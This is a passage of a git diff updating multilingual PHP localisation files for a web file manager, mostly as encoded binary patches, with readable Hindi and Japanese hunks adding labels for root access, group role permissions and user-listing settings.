zZ(iZeyk9%}gpx4@MwpoDIln!de{}B5EW1tG2$_10RPh6tb+*^Nt)fJBX}qPczs67o z`eU<9iKMK;yCFdSeeLNB-cg%9BpHr^?=!y1H)`k3``3}sS=3$(G^N#~457>_20g>KWF{Ow_J81Iin>VY5w17;*j4OO@eO9( zR{m^NB%sjkmJDq|sli8XBOw_X))m+ad1(^BNcPfL^2jA|1pb?XH;X}B48l(S^X`+! zd(cxD`HDf;Iu`=Q3j6*aS-r~*9{G%w%Pq_Twhj_AS){LksBsjk2}*S?sYcHbJm$N9#?x%|=NwSGcL%hl%>y43217tf)r+EnaVa?|F- z{sA3d#xt^Rrv4DXnF0y z?1C!OV_LwFYDuhRNGVPMj?Klp^NYhtaMN-)DGqEXG580+-Ff!8#Z8b*+`2jIwF0J%; oZXj}DX>)IGAY^4Aa>J=}Wnpz7Z*?GWVRB_HW@U9DvxR|RG_U9(y#N3J diff --git a/config/i18n/gl/main.php b/config/i18n/gl/main.php index 035a1fe8d116c91a92fa9a6fe2d86ab560264ead..11f68e4d0d84b1fbcea17a76e75f732acc3de1d5 100755 GIT binary patch delta 2239 zcma)8Uu#@d5SNO55X2R2YpR9AqSD|dp+!VO6A7^@K_OUL1tYh!_ss4dy!V`&^JkOv z!PVzJ6uDo(fG<82lzfEyy#1=M#`vTFKk1A5v#}}qkf!KNJS%&*ugyB6M50T{l8x?FCn9J8GFMtTZ$TO> zq!Er@Fb7c>iGn>zw89%{oS?5%7E^DmGHxJD@Rt5IwxQr7q_0Kg`I&x#3&3__$x$eF zr^S?fQ3wp8u%=MukB_g-R>eIO`+=@fIMf`Do(dR)y)(3Hn@u*1W&ta-@fR>f*twBv zq*CBuyPxk0Q=m?U;E+s30k%5MF+vCJUr{S5W#Lww@;E5J-h5}>A=q^C@q7Cl#iV%u z^yR(2@LM^r+4XAL&XhrOkb60dxQEg`YkpK*z}Lf@eCsyfm9 zT%gUBt1CAOIxY8lH&zpixtVsinW?Q53yR9XL13ncu$Y-OS@~D*tsC?k6X%c4#NgCd(tR_PwtZ_@}WZQnb4Zu1*{FR{lUvDxqb}qj|xmQEM$ z^$1eZ!7K^^nk2$Hir9NoO+44u1tQxBGNyH@HSqIq>&%w7z2{w+HI=wj^19A6|295&pp%G2; zA~ktoN!!vqC&M}jwXpA(kAGgJsYbG&>#jadC!ohQe8%t$41pn6>+cWyBv&@`0ha zRCz)|>!$_Nxaaa|n#_@!rUzo9=sJ7^8t34ABXv6m1s)Plo-e#hBNm(*Yg%iLmQO}P zTi70lq58v=w|;%&FG|$}=>Px# delta 67 zcmZ2*m+8YvrVT|>lV7go*?dXqq5fut5G&2e7pgdv6w(rNa`H "भूमिका पहचान जोड़ने", "system_role_read" => "केवल पढ़ने के लिए", "system_role_write" => "पढ़ और लिख सकता", + "system_setting_root_path" => "रूट पहुँच", + "system_setting_root_path_desc" => "केवल एक सिस्टम प्रशासक सभी निर्देशिकाओं का उपयोग कर सकते, उन के अन्य अधिकार समूहों केवल अपने स्वयं के उपयोगकर्ता निर्देशिका देख सकते हैं। आप पर या अन्य निर्देशिकाओं करने के लिए
व्यवस्थापक पहुँच को बंद करना चाहते हैं, तो आप, विरोधी क्रॉस साइट मापदंडों open_basedir php संशोधित कर सकते हैं", + "system_group_role_title" => "समूह अनुमतियां भूमिका प्रबंधन", + "system_group_role_remove" => "समूह भूमिका हटाने के लिए ठीक", + "system_group_role_style" => "शैली", + "system_group_role_display" => "चाहे", + "system_group_role_display_desc" => "एक समूह सेटिंग उपयोगकर्ता अनुमतियों चाहे", + "role_type_name_read" => "पढ़ना", + "role_type_name_read:list" => "फ़ाइल सूची", + "role_type_name_read:info" => "फ़ाइल (फ़ोल्डर) संपत्ति देखें, फ़ोल्डर खोज", + "role_type_name_read:copy" => "फ़ाइल की प्रतिलिपि", + "role_type_name_read:preview" => "फ़ाइल पूर्वावलोकन (चित्र, दस्तावेज़, ऑडियो और वीडियो)", + "role_type_name_read:download" => "फ़ाइल (फ़ोल्डर) डाउनलोड", + "role_type_name_write" => "लिखना", + "role_type_name_write:add" => "एक फ़ाइल (फ़ोल्डर) बनाएं, संकुचित फ़ाइल निकालने", + "role_type_name_write:edit" => "फ़ाइल सहेजें संपादित करने के लिए", + "role_type_name_write:change" => "नाम बदलें, निर्देशिका संरचना को समायोजित", + "role_type_name_write:upload" => "फ़ाइल (फ़ोल्डर) अपलोड, दूरस्थ डाउनलोड", + "role_type_name_write:remove" => "फ़ाइल (फ़ोल्डर) को हटा दें, कटौती", + "group_guest" => "आगंतुकों", + "group_guest_desc" => "आप इस समूह का सदस्य केवल [समूह साझा निर्देशिका] के बाद, रीड-ओनली पहुंच के लिए उपयोग नहीं कर रहे हैं,
।", + "group_role_lebel_desc" => "आप व्यवस्थापक Jun से सौंपा सभी ऑपरेटिंग अधिकारों के लिए समूह
प्रलेखन में, समूह के एक सदस्य हैं", "button_save_and_add" => "बचाने के लिए और जोड़ने के लिए जारी", "path_cannot_search" => "निर्देशिका खोज का समर्थन नहीं करता है!", "not_support" => "समर्थित नहीं!", @@ -254,6 +276,10 @@ return array( "login_code" => "संहिताओं", "need_check_code" => "लॉगिन प्रमाणीकरण कोड खुला", "login_rember_password" => "पासवर्ड याद रखें", + "setting_show_root_group" => "सभी समूहों की सूची", + "setting_show_root_group_desc" => "ट्री रूट निर्देशिका समूह सभी समूहों में सूचीबद्ध है", + "setting_show_share_user" => "सभी उपयोगकर्ताओं की सूची", + "setting_show_share_user_desc" => "सभी उपयोगकर्ताओं के वृक्ष रूट निर्देशिका का हिस्सा समूह में सूचीबद्ध है", "setting_clear_user_recycle" => "सभी उपयोगकर्ताओं के लिए रीसायकल बिन खाली करें", "setting_clear_cache" => "कैश रिक्त", "setting_icp" => "कॉपीराइट या रिकार्ड संख्या", @@ -421,7 +447,7 @@ return array( "upload_max_size" => "अधिकतम स्वीकार्य", "upload_size_info" => "आप और अधिक विन्यस्त करने के लिए चाहते हैं, php.ini अधिकतम अनुमति प्रदान करें और संशोधित करें। जब आप का चयन एक फ़ाइल इस विन्यास से बड़ा स्वचालित रूप से बाहर फिल्टर होगा।", "upload_error" => "अपलोड हुई", - "upload_error_http" => "अपलोड नेटवर्क या फ़ायरवॉल के कारण विफल रहा!", + "upload_error_http" => "नेटवर्क या फ़ायरवॉल त्रुटियों", "upload_muti" => "मल्टी फाइल अपलोड", "upload_drag" => "खींचें और ड्रॉप अपलोड", "upload_drag_tips" => "अपलोड करने के लिए ढीला!", diff --git a/config/i18n/hr/main.php b/config/i18n/hr/main.php index 03547e245b5d4084db71d60628deaba63c553bfb..97490882742dee918ab4c30283c4e72827cb63a7 100755 GIT binary patch delta 2089 zcmaJ?&2Af26h@WU0D?kWXvZ2@6q3sP)Uyvay1Ia2b@$Y`nvi58-06c>r}lir>bUs>HKq^25aqq>f(WUk1>hAyefzx7sopDB$_e6$*_HVtARuI%PyJhe;NoeDIr@naj z&J(Nd4Thr3n&KlREV4@Iih1AVWmh886oNF#+mQQUY3=92w2U-O>R?(R8IfCOp@gVA zq+>jwRH%_GU9M|$c=_uy>}|p=tmzX519BYqm4nH##qk3AnbpB0SwQFO$Ddz+Lp#<< zkCd_<(4xurH?Gv*u0PG|f^d95A_JrkjS6(5EY3s_qR^5mf5QqPNHa#5mXgF)LN2@@ z!MF!b(L+4`35$p)9|_SolEkp`GSsW}!{;we6!uZIH-l-xAMW)_hQF;Ps!^BacgAlq zkR#cY7ptSVj_M`Zq%$KcVoGx^QX1rlnx-o-1fB9knMQMse~yn5Ym_13KKkL>FRS<6 zQ12!2oJD}CbKK#V delta 65 zcmdmYh3W1=rVU+^n>Q-X(AzvYuuNleeH5okUS?LRLTPb9X1+pIQhvHZZc*ydeWePS VIhhJ+nMJAPi8(ono7Ji$3;>)`8dU%Q diff --git a/config/i18n/hu/main.php b/config/i18n/hu/main.php index 30fc2a2727e067bc3d25a75839b9c4c080278c49..8de6fd08d07b0e9858c62fc4ce30a1dd1b737853 100755 GIT binary patch delta 2342 zcma)8&ub(_6qZE<6(O*3K_j6UMK(D5izSz^NeIFc*j0m9vkW!UFFiF~UDaFly2JEk z*uOy50Z(4~B90JH27)Z!iX4Ug7ZyBt^*``c&2-O9bc1~uhU)j@tM|V5z5eZwYd^ob z_DgGH+YT*4+OdErRNOIIV<+R-Z?W04yT@8z(;@5YvUJsnn;174|Gj>Fv})gp!1l<= z+kb9(!XO?p11hp5n3$IlUy9HNWV~eV+|pai5_hhK1-i<#S?Vgw209k3XLY6x>V%zu z>~mWxS4lTb=mmwBBUhmkj5Esz^mo-rEXBOd4mo8*=8*s@H&IEOz!1KKXOu+_IO_r{ zxIYmOy5`Q_>wvq7ogqxzQH_~XG@c~d(3@$btvka$M~cZ=*3X#EKy|v@LL?013dOCS z(bnFw0)b`R@YGF^fF(dnv?} ziwdVpjriaW-y0vTz5lM!5;`bQLTh~V-uecp7$P^3LlCnnWC@fY={CaKZwGq=sV-o- z?_WKlJIvd_(48Ca0rLppJvW1=#UW*y6DBagqC1nh^(G$$lStT1^5NXblceASt-Qf# z*s#qr+TkUr|u2#r_!wfo#r_eFL zqZ;t|ulU9c!|MATDJ<4T9?(M}fj#zzuMfH-)QMhka@9bxn<>vSzQt(7I8yJ3)YLkJ zL@4w%9ktmP-hw5>1nW<(%F)wVUCB`Gharcb94+aGU*($_C$l_b)qO6pmO7fI?OJO<*D^!ILJi~?bs z_M93Tj=GAze?EviGmZU!nD6kYX{k3qB)!s#5oOUpP@@xnRl47-7j2sLLM!e`gxl^s zC4LjFNC(->@XBN~&Da|M`Q5$C%n8tUdVNkK*A&@3Lj?ttzOijKC$J5wLoILAk6AQ% zg6@SOLAx@2p4H_YEis@jFzIDo;Wo`}Rmi5|7UY$Imqg&-jjJWVP5Mx_S>b1F9UG*v z(RtR1bFkxAAKw_?U3+tr=!lvqPqJO7U0C7x<^2yv?t8@)q$F-JX(lKI$wGA$iE9w# zz@>6N@&5}z(z=W1?U|331-D)@r}K66_H3hBygh#Q?e&p_ zF35V9dFJ^iu#aFa>rjA8Q&9^OQH?y^?=rxxN5@q?L8(%qB2a!6P-p!~SaBo*t9!;( z>k_#Pr_@3=a4(d|?exQqAMTE9U!Ts_bEsf59Uj~P^IGM%T(eW>dRbS!-tU*9G&c>+ z<}4n%a~glM;AEGpaK(LE#kKOw|C@*^ZJ?7|Fs<>EFE>WCwh1SVVIxs1xEAKG!?o01 zS9N(^*p&|iudJR7^%AZ(hb`YCam_$Ze|&U*Yx6LCO_UtPZ1dyAujL69zc0G3N~UZ1 HPxt--R=s}O delta 80 zcmZ4WkZH$RrVUEcoA)bEG1z=CR9VwJI5Ru7s3bKfHBTWeHK*k8HXvSEtdN_TSW=>p ksE~1ZVb0;rRf#2;3MEH3R;4B8D3m3pS1N91s$XFU0FHDb!TZ1U5QRt(C0t^g1PqEOEeNm}e;ha&+fhPfBcnhr_( zM=%Po9ivL7d_=)CkNCSR@6XcI6P=L8%Iu?L((#3uaikgb)GRluH^W0mnRLa_u7QRE|X{siIVAhrO8WXCk%vIqu^| zaWm7E>y+~+0+#B2o{w|c#?*)FT<%yJ_K?c7$Puu@t(hVm(`Xg6LKM?{9`{Dvi(>47 zX&lX$S@_-Bele$j({Kj70nXR)*!!;_ga=DVEd?>d``U5;mRFMHA#r zyOqzFc~XH$xOdzZar5bnNDMYZ?J}YTO27-(*P#_NH6_*<*?#iV<&$q$-`r?)F2~`z z%v_1OUEo_g-60`bmwQ+D?hZW#(A}gS;J(bIm?hBb3*7w-B=vMZtf^-Rp>tF$wwkG@ zaBTlQcq8^qdb0&4wP(_|jg~j*-QCL}bhn3H8xzd>s(Y56ur_`e6K#KmR%)1F+DLyAv>`sH7`*iE3qguFFi3&A+aQ} UR3R<1D78E>Cr5F!Ze^}M06&5lw*UYD diff --git a/config/i18n/it/main.php b/config/i18n/it/main.php index 4bb926e3928e65275d8877f62dfbe8a0fcefabf4..e75d0ce0af8c93a48ed5077171d94fd70a0c834d 100755 GIT binary patch delta 2268 zcma)8O>Z1U5JkCxgd8LyzyzhTMA#OaIOM=#6+4P7f{=xfY(9iy81>GSXIu1ik9&I7 zvL&m@T$kNyWU_cd)b}o>Z(`uURCX%e_ZN#K^+{9i>$22Tvd05XbO`cI$^@^e4s0iQ zQ92;9j>fICN`f1N@UHY)%{;~nfp5_+0|x=GMs!6AUdIYB9BixUlUeDKOq*eT zaK~IE<$YyU&IQ{*?|N64&6i6ri|y^ibK%BQV7|;>V|e}=;&i`+NT|z^2Dc#I+Kf>r>^V@6gd(wv?VXk&u~zB9&0{~ zpd^v|C>oTGu8P-JbulSaj>hX#=F(ai$4^yf+7Z(jqIYW-`On;;H4ddjiN*h7#=FQ2 znm)(HA-c5rb@};;T&+^C$LR12Y2!5m>l3u$m2aCV9-=c* z4YdE00WL>L2pS%Mn9ytf`fhzu80~R7QZ{e(F93G5b*=3C+ zbAju!D`Z>A$%1&=N_y^7)&0aUMCSx$k1wh)59XTo|45p)ZXc5(HySwr>5>$=mrMI6 zdCgVx?W@Z--h(DEbYw>BE}NN2h;7=auU?#dSd(>@Dn=h#D!3T>*s2Hcgr<$t+V$gT zoDI)7jukze7EHQ4(+H_fZ+r%i00R|6rKkHvBMb_UjSze5mf&ixe6ut$JY>`D8p%dJ zQUHKk0LG?+goR;NGy-_62~03J?m8pR6%6pHafB}$M^=)a+dG)QUaetOU|Lr|Y?Uk{ z@qBhQP_FCTx|4sFAKso+BX^j@9T_Xy4U&lXBTL-QAn2)!)~>vc28{HeZJsQ+ndUEv z-#0@B4{h~ly2Sp|_S00C3L^zeDTV^aPZOycK`u#Mu|F4ZQ*K{xvzr;8fwiMDOhTFD zss%XTH1fL57}9L_vhH+|$u0*&540^fO_jy0>C-{&pwMYc#KJURZ$Epowf$)AHTE9j X6|bK0KO&Nh@!|Op{G6=TKfd)J*)0w& delta 78 zcmZ4Wkm>SSrVX#8ChuC$vpGxI-C%M^P-rX}X&WR~PBBq}5)mKG-} iq@?ELBq|i8mZU1=E0pFbq-7SRmIKu&ZvJ1l+7JK)-yenm diff --git a/config/i18n/ja/main.php b/config/i18n/ja/main.php index 14315d6..f822d38 100755 --- a/config/i18n/ja/main.php +++ b/config/i18n/ja/main.php @@ -98,6 +98,28 @@ return array( "system_role_add" => "役割のアイデンティティを追加します。", "system_role_read" => "読み取り専用の", "system_role_write" => "読み書きできます", + "system_setting_root_path" => "rootアクセス", + "system_setting_root_path_desc" => "システム管理者のみがすべてのディレクトリにアクセスすることができ、ユーザーの他の人権団体は、自分のユーザーディレクトリを見ることができます。あなたがオンまたはオフにしたい場合は
他のディレクトリへの管理者アクセスを、あなたは、アンチクロスサイト・パラメータopen_basedirのPHPを変更することができます", + "system_group_role_title" => "グループの権限ロール管理", + "system_group_role_remove" => "グループの役割を削除し、[OK]", + "system_group_role_style" => "スタイル", + "system_group_role_display" => "かどうか", + "system_group_role_display_desc" => "ユーザー権限を設定するかどうかのグループ", + "role_type_name_read" => "読みます", + "role_type_name_read:list" => "ファイルリスト", + "role_type_name_read:info" => "ファイル(フォルダ)のプロパティを表示、フォルダの検索", + "role_type_name_read:copy" => "ファイルコピー", + "role_type_name_read:preview" => "ファイルのプレビュー(画像、文書、オーディオおよびビデオ)", + "role_type_name_read:download" => "ファイル(フォルダ)をダウンロード", + "role_type_name_write" => "書きます", + "role_type_name_write:add" => "ファイル(フォルダ)を作成し、圧縮ファイルを解凍", + "role_type_name_write:edit" => "編集したファイルを保存します", + "role_type_name_write:change" => "名前の変更、ディレクトリ構造を調整", + "role_type_name_write:upload" => "ファイル(フォルダ)のアップロード、リモートダウンロード", + "role_type_name_write:remove" => "ファイル(フォルダ)を削除し、カット", + "group_guest" => "訪問者", + "group_guest_desc" => "あなたは
、唯一の[グループ共有ディレクトリ]以下、読み取り専用のアクセスがこのグループのメンバーではありません。", + "group_role_lebel_desc" => "あなたは管理者が6月から割り当てられたすべてのオペレーティング権のグループ
ドキュメント内では、グループのメンバーであります", "button_save_and_add" => "保存して追加していきます", "path_cannot_search" => "ディレクトリは、検索をサポートしていません!", "not_support" => "サポートされていません!", @@ -254,6 +276,10 @@ return array( "login_code" => "コード", "need_check_code" => "ログイン認証コードオープン", "login_rember_password" => "パスワードを覚えておいてください", + "setting_show_root_group" => "すべてのグループのリスト", + "setting_show_root_group_desc" => "ツリーのルートディレクトリグループは、すべてのグループがリストされています", + "setting_show_share_user" => "すべてのユーザのリスト", + "setting_show_share_user_desc" => "すべてのユーザーのツリーのルートディレクトリには、グループが表示されている共有します", "setting_clear_user_recycle" => "すべてのユーザーのごみ箱を空にする", "setting_clear_cache" => "キャッシュを空に", "setting_icp" => "著作権やレコード番号", @@ -421,7 +447,7 @@ return array( "upload_max_size" => "最大許容", "upload_size_info" => "あなたがより多くを構成する場合は、php.iniの最大許容アップロードを変更してください。あなたが選択した場合、この設定よりも大きなファイルが自動的に除外します。", "upload_error" => "アップロードに失敗しました", - "upload_error_http" => "アップロードは、ネットワークまたはファイアウォールが原因で失敗しました!", + "upload_error_http" => "ネットワークまたはファイアウォールのエラー", "upload_muti" => "複数ファイルのアップロード", "upload_drag" => "ドラッグ&ドロップアップロード", "upload_drag_tips" => "アップロードする緩め!", diff --git a/config/i18n/ko/main.php b/config/i18n/ko/main.php index 4354c3a60098030dbc51c4b1be6b95006b2e15a3..a3c2e8aebf51537417077329ef9c3523c8482295 100755 GIT binary patch delta 2126 zcmaJ?O>7%Q6s{^25L|$yRpKVqutF$NLqdi4QPiYdk$M0WAtZuU8+&S7b-ZSG-H;1* zlWo<;uIe&2aT2@Qs18X`DxAbk9m!F}8L6}!;LZifGkfTn3vXt<{t32yh~>=t`QCfq z``#bFpZxRhlf@^Vm_Dx?cvjZ2VFbf|SyNR*jwnVzLe6Jm5=r#Imc3L)EVItcGFvK0 zBd_vDsgtkl!@3s&a9@_lfrot~hpMGG{b`5YPa(RQWcd=JKX1`NVj-GNQ|q>U)8fy| zsYV_|K6|V8(-FiLcG&7Rc(QyJ(L{l60GNEadXR))TWqgHm(qwoCoFDJH*bkdH^}qs zndwo)D!J-zkuKCj9m{`lMjM-KfUQ@J>`aMSIXjc3R)J@%?j5n!;s{_k6q)1X>7~9; zPN@D69`&lTqk*eqI#x7q;L}bU8PAAo6|s>{MGQO)J^9bg_<5dT|TH%thnZ z)M!NZN3l-cnDPwJ;x-@k{nY>84f5js(F zNywQ$;&ft`3HsX5T`s~j85bI3-K##XaJ6>gaed_-Gb6dv0rLQqz4oY%TXO`99{26EtjuF%{sW%`u_3d zf$@&u#PJfRM4Vv(ho-XZN0_pp%YM)0Tf=WtvjAtGttIX2P-8a5-GGSpN}BE+3CY>W K?*A42_ria5=m{kN delta 80 zcmV-W0I&bn;sVmo0w=gd m>#(WqnUw3Yz3iO4>!F+=?47vnm9!x2i=^$0s3EgkfBP{<<}aQA diff --git a/config/i18n/lt/main.php b/config/i18n/lt/main.php index 295e2d89b4a1bfb76903a905e1530de8134b078c..71a5886ed781a5f4d7a78aa67f7176e2c0671883 100755 GIT binary patch delta 2222 zcma)7&1)o85SIlPzaXFl-7LF2hDA0wN!%!cOER(-BT*sXvKJGZn(4PaHQn=G?|ZK& zjF&mhRmE0vH76Gq-N1PE)O`_;;&o5{0s9|V)nCa>VsI{#$*YfF{pwd$fBkvopJ!K2 z9W#}F#CA~q;7fb?MV%}HbE`O@~tnhoz`C@fkhhuRA8 zhe%$|fYSyOD*}kHjN!^}F+!WqL)hJ15=^iE z(c6!<<9__kS=arRa9{%Iw)b1!3lXSrztvHRb>OJvtqtg;$JdtEjgF+}&_%LtRMCK) zf+q2qL?4HML=5`FM5o_uzLlO_yZS-lW~e=*#*h29BMli7Db64vZ`iKgDdUa8)w=OQ zMk+tTBz?ZLyy6umKH4~faRrN`gJH;|7=m2AR-)n8d!|WOl{q|ZDDhs3q1Aqc_1G$c zxN$5!MTB}rg5MCp1{~3bfK1lB&t%T&ZbXf%J=y6YU_{w$HZ?$cxAV^PzNjARv%Vjb zFUj^cP~j>ByDC(oNtokqb|fC4JQVlhXi_|pW>DtGAzT)}r{kKxq9Bg1#iu&PL82Gy znuit}IiiFGIxeepjit#azhnNyfVfTAXeN_T(}ejtOomc9z&4Giv09LLsq0_+di64d zzCKiuF1fGM%rme@(a>T(BY_l=Cg;0%$dg$US$B`=Ki9mb$in3=_)XV2`xi-=7?Lgb zFq_tW$fm1pAwyn3A#IiSg-vWs!|lkVwET|>%N#Vvu9g1r{YEL=Q_Ypny*{X*1kVum zq@iu)6L4B$aq z{Q8biV8*sxtkime@{0blT;3#oi$2`|rE5OG9*9`C%SB#I?RxtByEi70?8>Ml8qLH=S>8%R)J`Uw8jry?Gy1NQ;hEP!cF4wMc3eaS_oK%V)D++|PIZ1xw>4 AEdT%j delta 62 zcmV-E0Kxy|-vZRk0z!fHu1URV)M>VQ0x999HW^%U={=vjV}1jYe%x%}jgR-9vYe zE$?N-nFENCxaR?okoE;QaN-4c9jba}Y-i=oTC!w!cU67$Rn=Gj{&Ve*|E~SDwOzS| z^EizhdM|YvSz~-u2%q(!`3w)C$A<%NFcmuO^vS{>|(!{2Ydy=N3gUV4RHxdQKxm?tH~5^b(HiliOSMjhnCTvYo}LnJo>uUMF9JnQ~r%Xs|}r@4mIe20Luv{Nh3&=jB8Z zjxD~9r7M(Jv`E;WN$760cGosXh?PKw9&{PnqX{TA^`cUQc&)^3@w>hwP?Ykbz(^Cb zl!SU$&Lyjdw6q3TuzcLaYp%dfD3@jQw~kou(CtWI6q3oo&S**pjsXU32Y^D^O^1gOaT((e2d>UY4n|m+vjoj-wq5%WVaZf`m&4C)At9^9)?=-(|vLR64YmqpXw1 zkOnlX*H@xhWw+YAtlqTKxaM6EmY`eA=XW3fxx4)Y{Tyx13pb%{JSUnUF(s+i`E`5r F(f@j#;!6Mk delta 84 zcmbPso$1sOrVSEOo8^?G^*1jFnyq0ST9A{Un4*xIS)5avU80bfQ>>7lT9%)au27bk or;wLgQl46rT~L&tl#`m9nx~MTrjV9dlv?HHjeZM%bXREbD`jwkCb2r_$9`y;ao{ z@-+Ax`a%D|g7_rlB`?Ct`~U@ikK(E7?#b6C4l~0{SKU+Ro_p)upMSsc%bz!XOP8na z$ayYP$KFewr`8ysR>F@5)V{X1X%HT+dZ}`u^Fgu@76wd%^m&5 z3Ym&^IuwpG2{zix)qQK6TXoViRlnk}`jQg5*c)s+;r-^i*lzw^eCrdVIQ7yi?h6u?-HAHTW2uzztQ?YfWP*T-GyHA- zS-kmih_qaq$viaFnk?c&+^rDj{LzII9Rvx4mcw!;U8TfPM=8MG z*S`5<@#Y>-=F43xbjzp=-faP$C`;C3M(NvX0lZJ7Z?K5uk19?z#6%{ddAhvR{5o8i zUS7)XDRfpZQ8@8|gc`fyVb`!P3X*zcE(P5#1$u0SShCJcAWBc9OXz`78FY5D=}B=N z=)S3XWn!&HQWd6>Y;nJ?i>oY8Bp*gTT?V04;Lzg8a z>P#9kIZb57X63q5GIOYv5m`89u2Y}#u5g|-XIB6mT6Fh-rmZuC?||S6E74;wmN|yp z6Ind3kJuG?=miKv-N^~=Oi?h^o-(WyrmU1kKA@VJD1?E@je!xCa# zyuRpli!E@K>sjuP;YICb2{1d7^pS@iVxki|sNs`ol9_O3qpT61rHF&vs`_+XXO0eQGST0JV=Z29)&y4PS)+@hjZ@9*0<$FK> zo<_411#`{&qgBQ@l6YWNEnN$9(STFc{amtS9-y0JNIhhdbiH;Gup```~_ zLFp#Ii|4egY%g~|O)sF#^9zYRMl)IC`-!LNq0#Vh%^nHwk~U~J|NrO?gOt-6kymnT ze%g8OQKWLZ`Fbibr+&afEj~xC<97UH=kE{S`5Ns884AqOFiMA3XkFHpMl98_Fn8Dg E1I>oxqW}N^ delta 80 zcmV-W0I&b3&jOge0)9OYjkCEAaKK_AZK!Q mZf+o9b|7wLbaZxQa%&)EY;0w6AYyW1ZfO5 diff --git a/config/i18n/pl/main.php b/config/i18n/pl/main.php index 433f621770bebdf2f4c680bd4897fb03c7d9b913..47b718172f03d0ff4033307816cb2f9d561e20e4 100755 GIT binary patch delta 2267 zcmaJ?O=}!S5Dms)Fab*>R%|JUW-*C`*B16swiK|915$`huyaV1EWOjE-QMZx9`%QZ znadbqp;I7cPC}O)a>>oGmmG8n+P&mIQvFufNb8w0cC;UpQ0WZD?^^Ba{;YKow8Ovzi1*M} zsR$LJEaH+ItEp9*R5(W>H9pLNxGXgx9qkcThhd5&20z-62YnJ!ONHtk4U;wrxd63IinK@!d~PHY*}BuB#mNyaXl2Yj!!5Lnt+hLk3{V~PzxrZ(6#;kE)cwsCu~hfKu5PwE9|9{Z@l)hNe+@z@|_aJ_RYECx7llLe@#QA z-oSL_Uu?7q?WV*TCr7(TUn?=%FSc*p^q_eUGN|?hQ`X#n@u6?|W5!J^Xj(t&EfHkJ zgPFPF?abA@IjtSzPoHKO?YO8a;l$OH$M4A3+QpQ7OMQ}!4UrONn8whNs4ONyS(8F( z;VNcoQTXSN(4Y;_W4^)vl*FQR)+yu(AeUQe8u$_+WN}Lg26~C0*4hPqg>E=N z0l(*fMt)u%=4ddJxsWFm%W+wVK*f!OrNqy<0P@s-tb6es5msUiZ!lU(%_kHq))S*$ z*5pL;#f%L``=h-!IyiI@NL#iUb&R8ed=wwkY8P6E9GVe?5?>nC z#f_q+7+%tRk`Ye53`~kc%?HXD6%xG2Xfl);E`4~az0cOF>2NPuzesZ1LgY?c(LfSJeP;wTur)kd1eg3^_!^!hrO!htu}- zJgo;d+T}-oNOAnfM?-NuwSOWKTOL=COrv&v+YbfhC$C~Su&ujaY~T1K7tjUKETFRe zYfr78B~uY03Bid>aiKIlK!X9VSe7KGc2T)rNIkzkfPR=l@;KOP#W+lchW zJLo#pGm~`iin#$0!_kqrodh2r1RN$C7plz94QcvRL&q7=XE+zXtlxcD@;bhBg4ag1 z#*e8mPZVJbi|F4{Kw7i*B+uhG+*lV&3r}z*@3RyWfPkw6%0->gSm|{5pZV;;|L)#6 A;{X5v delta 76 zcmV-S0JHzN-2#xx0UQ^wRrMM=7o%naRK_v74i&%L*QdvNT> zKaPEOf35oL{F6*cX`+IgNuPzEt!>ulF=;LRv+C3H&y;hcC?Org(ivTm8RdqU%@|KI zkqd1UPo!drWEyWMfClyufw`jNx>C|@l}s-33UkS%gbaUMk01$SurV?EGUnLToW7^BGg}HaM< z>J2Rn4XR(aPj71CDxO??@#YqMU+(%|>oddEn9SC-e)LGn^N+9fw-XwHX?5Wo->!ao zs<)zKN|6yJrGEAEo!$#?kfJ;m+_eU*5GzP!LhJf_^5l+eUf-?C)l)A;iZVH+Zrk5} z)8XZeK8aHc@Ti9ulvaPOK6}b1(qhQiATSgXH}_sX_+{lOD1Q9o3;TTqmvDxl`c9Dy@%p;A&um~W;~W9#G0 z-@<$D$azgc7E`G^&L!wvO13HTk?eXmPV7v<5oR44l#n1L909MA8h~=`)W+F6&Y%MZqZxaj;W~BZ$A-RrxgM$@ljl~E-3yXbmWM*5mqU=H}KMT}@}SAJ!>eaBRT=xKY5}q8lq|i)d^~SHIj^dk#_(1}lr^)3Gox z)t{$()%8aotMU^oWqr@}BBN}moaC_i!!{pucPkc2&NVpFG`7Osjb`b7D1&u}uh2Aw z%`!pXJ{mCHoSKw`WB2S5iUVN4`6CifJCes4{|;R&7?FI9 z1J|JUaVp)C^17L44kxj#Rg*CyA4dn`v=`Znr@pPGQZ@8<303?9vFGGj?}tPV5wJb9wUm;PUC^aQj0Vt4` RS(I9yn3JQpIiv21ApjyV7`Ffb diff --git a/config/i18n/ro/main.php b/config/i18n/ro/main.php index ea0d2d7f876c0826d1acb66bdf92dd7292b19afb..395acbac55b4a3691c8febadb2c10e389f9b7ec8 100755 GIT binary patch delta 2361 zcmaJ@&ub)A5SG0Ng0Q%&f>9}kARD%msIVeo6IV7y!PN~bc-ct%(p{N(`nq4|{g`Y5 zGH7m|gb^h8KgdGxFEEE(_dn2!7xCmly!lo4bnhfgGNud2SP`s%Cs@5z<#{=D+| z-MNw9_koMla|pWZr_S1tRw@j7)cjW0sHd`wJw3puUh zl^43yJ~$Puqnyd(g$t^z3L_>pWJOH~qbT5zDc6oOJUTXqfpit^$ta zAO>ypf%w*N8ED8k9Of{l%Gt{4Xvj$5#%GP7vl+Q1T36Z0Aq<>8{aKU8v&w=Vs`^dE z`XuLrr-wCIcs-L?G*RE)cFSu>qQThZkWdu^i@U<+dPir9D&dmT$n&Kj{?6idg29d@SD z+4~<8;06~-(dkiO#I7y=xH|uG>cjrIKpqVeZ*$@;*S<1pe}Y83#`ua9P3*X53#zP_PPk2E{F(Q$W3Mq$}`Dust*bABM1=)+htFgEua#Gx`+`?6ilX2V*K}yZ=L5r zb0Hh3vftnr7!M#rWh@{93iIENi{n1@0a_R{=oe&aTI(*W%Sx=;>NXsH%CV-tzx`6S z^-aeA{`6XUskf=2p4F_$R3`-1Yf!fJ)fb^i`;mPZfBVfVuj&I0MngGgUD*BM#qsav z*&QFjrds{D*cQ=%a$=zb&`#z!sa3OC04NxC1}gNhogBz4v@)o#RA>kP3wfyTCnV#& zXiKxdG=4I^HZr`;rd>ipA^AyypS2jkilT#2FBZ^0Aykhtl{7hv|I&f5i`+uiL>4)c@4OqWs;)79i`40N-opf#x5 v=@De7DVdqhvE}O|r(?SJ*TU-`puCfR84iSnM0%|M9mL*K#vHE?e|`IZJ;X(q delta 79 zcmV-V0I>gp<^uWA0M4`&e+w>QAYmY7$eDFvbRcADZXjb} lb$VeSa%ISyWo%_>Aah}LAa!maW@&O|cVTR7A+t?@wK8WeAu|8~ diff --git a/config/i18n/ru/main.php b/config/i18n/ru/main.php index 7bd4d67..6d9fd53 100755 --- a/config/i18n/ru/main.php +++ 